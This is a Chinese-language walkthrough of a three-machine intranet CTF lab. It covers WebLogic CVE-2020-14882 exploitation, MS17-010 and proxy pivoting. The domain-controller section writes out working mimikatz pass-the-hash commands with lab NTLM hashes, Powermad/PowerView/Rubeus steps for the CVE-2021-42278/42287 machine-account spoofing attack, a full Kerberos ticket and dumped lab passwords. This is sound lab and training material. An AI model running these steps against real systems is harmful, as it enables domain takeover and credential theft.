提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 前言
- 一、ubuntu 代码执行getshell
- 获取webshell
- 二、server 2008r2
- EW 流量代理
- ms17010
- 三、AD机器账号伪造漏洞
- 域内hash传递攻击
- 登录域控
- 总结
前言
2022 弱口令安全实验室招新赛开始之前看到了报名信息,后面忘记报名了,群里也是看到大佬们在讨论这个靶场,耐不住向某个报名了靶机挑战通道的师傅要了一份靶场,打打看。由于上课加搞毕设开题答辩,今天写一下打靶场记录。
提示:以下是本篇文章正文内容
靶场说明:
需要下载完成三个虚拟机,组成一个内网环境,全部搭建完成后组网才可完成题目。
三台的顺序是 ubuntu -server08 -server08DC
无需修改二三台的网卡
第一台ubuntu的ip可以查看一下自己虚拟机的nat网段来进行推断,二三台访问不到是正常情况,因为是内网靶场
一、ubuntu 代码执行getshell
第一台是ubuntu系统,nat 网段 我这里是192.168.216.0/24 段,ubuntu 的ip是:192.168.216.146
直接使用fsan进行扫描:
扫描结果开启两个端口:一个是22端口 ssh服务, 另一个是7005 weblogic 。另外还扫描出了未授权访问漏洞。
访问登录页,可以看到版本是 12.2.1.3 ,这个版本的漏洞也不少
获取webshell
测试发现是存在远程代码执行漏洞CVE-2020-14882的
执行id 命令,响应包中返回了结果
当前路径:/home/netuser/weblogic/Oracle/Middleware/user_projects/domains/base_domain
利用 wget 下载webshell到可访问的静态路径中
使用python3 启动一个http服务端 可以看到服务端被访问了
访问存在
哥斯拉连接
当前的一个webshell权限是很低的一个weblogic 用户权限,通过查看passwd文件知道,netuser用户与root是可以进行登录的用户。
这里花费了大半天的时间尝试suid提权,内核漏洞提权,敏感信息搜索等等都提权不成功,linux下的提权还是提得少了。然后没有提权直接进入打内网环境。
二、server 2008r2
在前期信息收集中发现存在192.168.107.1/24内网网段,提权无果之后,准备对内网中的其他机器进行横向
直接上fscan 扫描一波,在扫到的另外一台192.168.107.128 主机存在ms17010 漏洞,最后全端口扫描了一波最后还发现开启了47001端口 WinRM服务。
没有其他更多的信息, 选择先使用ms17010打一波。由于192.168.107.128/24 段不能从外面直接访问,属于内网段中。搭建流量代理。
EW 流量代理
上传ew流量代理工具到ubuntu上,进行一个反向流量代理
攻击机上开启监听
给权限后执行
本地配合Proxifier 配置ew流量代理
ms17010
直接起msf ,确认一下存在ms17010
这里由于是处于深层的内网中,考虑选择payload 为正向连接
server08r2这个账户登录过,看了进程是没有存在杀软,考虑直接上mimikatz读取内存
从内存中得到server08r2 账户的明文密码:NcJVPV3w9Wf7
还有一个当前域机器WIN-S96L5Q5A734$用户的ntlm
得到明文,发现3389 rdp服务没开,注册表开启
最后使用server08r2 用户进行登录,从最近访问位置中启动项找到flag.bat 运行后在桌面生成flag2
三、AD机器账号伪造漏洞
拿下第二台server2008 之后,通过ipconfig /all 发现了 另外一个内网段,192.168.48.1/24 ,并且是可能存在域的
可以看到是存在域环境的,但是由于我们当前登录的用户不是域用户,会提示拒绝访问
nbtscan 扫描得出 192.168.48.128 是域控DC
fscan 扫描 DC,发现也是存在ms17010 永恒之蓝漏洞的,这里也是想使用ms17010 直接拿下
但是后面利用ms17010 来打的时候很不稳定,弹回来的shell也会提示RPC错误,拒绝访问等等错误甚至会重启,从前面的来看一旦重启 lsass的内存信息就会丢失,抓不到用户明文密码。SERVER08R2 用户密码也不存在重用的情况。
这里使用域AD机器账号伪造漏洞 来达到一个提权
此时我们是拥有当前一个机器账户win-s96l5q5a734$ 的ntlm hash密文,可以利用ntlm hash进行一个hash 传递来获取域访问权限进行信息收集,或者看看能不能利用域漏洞进行提权或者其他的操作。
账户:win-s96l5q5a734$
ntlm:765886434d8392af3380b0d97638a7e0
域内hash传递攻击
使用mimakatz 进行一个ntlm 哈希传递攻击,在弹出的cmd窗口中进行的域控时间访问正常返回了。此时已经获得了一个域win-s96l5q5a734$机器账户的权限
提升权限
privilege::debug
使用win-s96l5q5a734$的NTLM hash值进行hash传递攻击,域:weak.com
sekurlsa::pth /user:win-s96l5q5a734$ /domain:weak.com /ntlm:765886434d8392af3380b0d97638a7e0
查看域内用户及域管理员组
weak-dc 账户是一个本地管理员组的用户
简单的查看了一下域内信息,看能不能利用域漏洞提权,之前刚好学习AD机器账号伪造漏洞,所以直接试一下
这里简单描述一下漏洞,具体的漏洞及协议细节可自行了解学习
在域内一般正常的机器账户时以"$" 符号结尾,且AD没有对域内机器账户进行检查,就可以存在不以"$" 符号结尾的域内机器账户名
漏洞形成点:
1.在创建一个新的域内机器账号时,利用CVE-2021-42278漏洞对当前新键机器账号伪造修改为域AD的机器账号一样账户名。
2.再擦除当前机器账号的spn信息
3.由于当前机器账号修改后与AD机器账号名一样,这时候去向kdc请求TGT,这时得到TGT中的PAC仍然是当前新建机器账户的权限
4.再修改当前机器账号与前面不一样的机器账号名。
5.使用得到的TGT通过S4U2self进行TGS请求
6.域控在找不到刚刚伪造的机器用户后,就在给TGT中的client info中的username加一个$,然后再去查询username$,
发现这个TGT client 域控机器账户自己,然后就把自己的PAC加入TS中,并且用自己的hash加密了TS,最后返回。
7.伪造者就得到了访问域控的TGS
接下来上传所需要的AD机器账号伪造漏洞攻击用的工具到机器上:
Powermad.ps1
PowerView.ps1
Rubeus.exe
使用刚刚hash传递攻击弹出的cmd窗口启动powershell进行操作,导入用到的两个powershell脚本
powershell -ExecutionPolicy Bypass
Import-Module .\Powermad.ps1
Import-Module .\PowerView.ps1
创建一个域机器账户,需要输入密码
New-MachineAccount -MachineAccount test -Domain weak.com -DomainController WIN-JK2FG246GEF.weak.com -Verbose
清除机器账户的spn信息
Set-DomainObject "CN=test,CN=Computers,DC=weak,DC=com" -Clear 'serviceprincipalname' -Verbose
重设机器名称,设置为DC域控机器名,伪造dc账户
Set-MachineAccountAttribute -MachineAccount test -Value "WIN-JK2FG246GEF" -Attribute samaccountname -Verbose
请求TGT票据
./Rubeus.exe asktgt /user:WIN-JK2FG246GEF /password:AvtBn123! /domain:weak.com /dc:WIN-JK2FG246GEF.weak.com /nowrap
查看票据
恢复创建的机器账号名,但要与原来的名称不一样。用于另外一个漏洞的触发条件
Set-MachineAccountAttribute -MachineAccount test -Value "test2" -Attribute samaccountname -Verbose
通过S4U2self申请TGS Ticket,获取DC ldap服务票据
./Rubeus.exe s4u /self /impersonateuser:"weak-dc" /altservice:"ladp/WIN-JK2FG246GEF.weak.com" /dc:"WIN-JK2FG246GEF.weak.com" /ptt /ticket:doIE8DCCBOygAwIBBaEDAgEWooIECjCCBAZhggQCMIID/qADAgEFoQobCFdFQUsuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh3ZWFrLmNvbaOCA8owggPGoAMCARKhAwIBAqKCA7gEggO0Eix8k0tTQXIMyX7cpnJPcHm53ZmwQuGgNbEYPZfvapcKphQvyn/MeVn8fKVYkf6Pr7/63swZhX3PRLmLdKqtcgfj+F79ef0P+ei8Kxu2SHVisYd+3ZfuSsej2Ldgba7w2UKj4uAR3GSO85Mi6dXJPweWXde3X2jQgM9jcZJs0Vh0qHr4IxlJjEXb2jbUtiPtTmCVDzrXe5WnxqtcwJzaO9vkGq+LDvEflyMX0sRqIFEr4eMJpzkFUXOa2TvVuFwl54lECJo6ZqsD8z/n7TVm8LmX63d92FJce9PWqSrUjDiIY9OWPm8VfEO6iVf0mvl2lYRaMEPvw9lc1PZ7LSjPQ3FOmeGeZcXoWEGlQBc0Oh0jUtHMWs66Qdc0Zw5g9XBbsJAm8LTf32dJCYBe73fc/Ai7xcqDDxqLYoKeu9YGvoE/4htbtrFwww/iJxgJIn30er4IlavokXdo3pwR4SCYxf+ndUe2N1EPuUUuM3E2yexpx7hzwGaFbSh3TQqMqRGQqGOCsUcq9APTSD8zv1w3nJE/yI0KfdLOJOU9puos7/E0x8GE77kwXYZn5y7ZwngVsVGsjbxHHIlyE9HwW2PwcUzP8h4RqFdW7Jn5lKVMC5Q7Ocayjgu5YSt4TDHR2Ws6nffewCfdGM1AxGn3EVXjFN05t0Fv+lMxmmGIMOKNDASbMEI2Wig7Rb0JEYrk+ZX/x30PXgq75InNvyBuiOeCyrcMBmaTQdwv4+f2qqS0pjyrqGgiMM2fJMlOLSLrxOOwomWXntRZxnbg2luUX0cvbdpUmSdyYlDYmXqNZl0wCEAR8sLVbOkj17ygPBFHbuxIlqVSm5ra3hupMa3Ti0YxXf20CRNptWSYt0r+0zBdFgHaVJyzHi/9oytMcWIk12GK6f0vDVftmwJAFDMUYRctGayEynp3JwmjAf5knac6Yo7syP/KJDqgvKIWkGD4i3VJ7UNmATuT3mC17CZjf79PMIjnXudXRGfvvPkDCUdrFtZ7WkonYCXc6kv97/aWKBLlHUldHXl4Snb/NFvDtyg/qw+AUJzeGdo5PbsO2TfYgjUTkjP5Z1kJr5AshKAel/bP1Yu/JWTP/WzsjE2x+OdfSm2yuhfLc4RUfi9KRkjlEgHBuudZgXqQu8mvlF/DtDuN6BtdpyiqSR8qde1PR39Md7KBopj3GhsapF+J/2p8JPIl0OH1OcLcdpY/cAwga+Ek9IN9K6gb8RWeXPVGRjr44xNtx/PYe/B2XMYmGj7fyT1PTtlKo4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQUfA6UoL7rxdMC2jnGhR0maEKGwhXRUFLLkNPTaIcMBqgAwIBAaETMBEbD1dJTi1KSzJGRzI0NkdFRqMHAwUAQOAAAKURGA8yMDIyMTExNTE2MTg1N1qmERgPMjAyMjExMTYwMjE4NTdapxEYDzIwMjIxMTIyMTYxODU3WqgKGwhXRUFLLkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsId2Vhay5jb20=
申请cifs服务票据
可以看到,已经得到了ldap服务与cifs服务票据
查看dc上的文件
有了服务票据之后,利用DCSync 导出域内所有用户的hash
用户的hash到手之后,cmd5跑了一波weak-dc与Administrator用户都是跑不出来,密码挺复杂看来。
直接使用Administrator域管理员的ntlm 进行高权限的hash传递攻击
privilege::debug
sekurlsa::pth /user:Administrator /domain:weak.com /ntlm:597e2e3805b87b5e3e52798392a55b6a
在攻击成功弹出来的cmd窗口中,由于已经是一个域管理员Administrator高权限的cmd窗口,直接对域控DC进行ipc$连接是不需要输入密码的。 使用psexec 进行一个横向渗透
当前已连接到域控DC
查看当前已登录用户,weak-dc登录过,上mimakatz抓明文密码
query user
上传mimaktz到域控DC上
dump 内存明文密码
得到weak-dc 用户密码:7sYUVa%kFA7]
登录域控
这里如果想要登录到域控,域控是没有开启3389远程登录的,需要开启,并且把weak-dc 用户加入远程登录用户组中
使用当前用户启动的mstsc登录,修改完之后登录还会显示拒绝,因为当前本机用户没有权限登录,而且编辑不了登录的用户
使用hash传递攻击的高权限窗口启动mstsc,输入weak-dc用户的密码登录;或者在当前机器用也添加weak-dc 用户远程登录权限,退出后以weak-dc 登录本机,再登录域控DC
最后在启动中找到flag.bat 运行后就可以得到flag3
总结
还行,对linux下的提权还是不太掌握,另外在真实环境中也会存在ms17010漏洞攻击不稳定的情况,一旦蓝屏重启之类的,内存中的明文密码就会丢失。不到万不得以最好是在有把握稳定反弹shell的情况下利用ms17010。